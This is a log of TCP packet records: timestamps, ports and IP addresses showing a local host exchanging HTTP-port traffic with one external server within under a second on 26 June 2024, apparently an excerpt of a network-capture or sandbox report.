Jun 26, 2024 08:16:24.818569899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818577051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818584919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818593025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818600893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818608999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818615913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818630934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818636894 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818639040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818648100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818654060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818659067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818677902 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818680048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818689108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818696022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818723917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818728924 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818732977 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818739891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818756104 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818800926 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818931103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818938971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818953991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818962097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818978071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818985939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.818989992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.818994999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.819011927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.819020033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.819035053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.819044113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.819045067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.819044113 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.819077015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.819103003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903521061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903543949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903559923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903601885 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903712034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903712988 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903723001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903733969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903750896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903758049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903767109 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903799057 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903803110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903811932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903827906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903836966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903852940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903852940 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903881073 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.903948069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903954983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903974056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903983116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903990030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.903996944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904005051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904011011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904012918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904032946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904036999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904041052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904057980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904059887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904068947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904078007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904103994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904103994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904129982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904139042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904146910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904165030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904179096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904186964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904195070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904203892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904222965 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904266119 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904268026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904279947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904319048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904357910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904366970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904382944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904391050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904400110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904421091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904452085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904459953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904463053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904476881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904494047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904501915 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904512882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904526949 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904577017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904757977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904766083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904774904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904783010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904844999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904844999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904859066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904867887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904876947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904885054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904892921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904921055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904932022 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904939890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.904961109 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.904980898 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905038118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905046940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905064106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905071020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905086040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905093908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905109882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905109882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905118942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905127048 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905136108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905143023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905148029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905153036 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905164003 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905198097 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905229092 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905282021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905291080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905298948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905307055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905313969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905329943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905354023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905355930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905366898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905375004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905383110 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905384064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905391932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905425072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905425072 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905477047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905477047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905487061 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905495882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905504942 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905519962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905546904 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905551910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905560970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905567884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905570030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905584097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905592918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905597925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905602932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905616999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905656099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905663967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905664921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905674934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905684948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905714989 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905735016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905770063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905777931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905795097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905802011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905811071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905832052 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905886889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905888081 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.905919075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905926943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905941963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905950069 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905958891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905966043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905973911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905988932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.905997992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906007051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906018019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.906028032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906035900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906059027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906059980 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.906094074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.906114101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906120062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.906122923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906143904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906152010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906161070 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906169891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.906192064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.906192064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.906214952 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991317987 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991339922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991348028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991420984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991437912 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991446018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991456032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991466999 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991503954 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991528034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991547108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991563082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991571903 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991580963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991605997 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991616964 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991625071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991627932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991633892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991643906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991671085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991702080 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991731882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991739035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991741896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991758108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991765976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991772890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991812944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991821051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991830111 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991918087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991926908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991939068 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.991944075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991955042 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991970062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.991975069 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992012024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992070913 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992075920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992085934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992094994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992100954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992120028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992130041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992136955 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992141008 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992178917 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992196083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992204905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992219925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992228031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992234945 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992240906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992253065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992253065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992259979 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992270947 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992279053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992283106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992288113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992305994 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992333889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992419004 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992428064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992435932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992470980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992487907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992496967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992499113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992508888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992542028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992548943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992548943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992551088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992558956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992568970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992583990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992590904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992608070 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992636919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992636919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992639065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992647886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992683887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992691994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992707968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.992719889 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992780924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.992780924 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993000984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993010044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993029118 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993036985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993053913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993062019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993105888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993113041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993113995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993113041 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993171930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993324041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993331909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993355989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993365049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993381023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993388891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993396997 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993411064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993413925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993413925 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993422031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993431091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993438959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993443966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993447065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993455887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993467093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993475914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993483067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993483067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:24.993494034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:24.993501902 CEST	80	49713	85.28.47.4	192.168.2.6
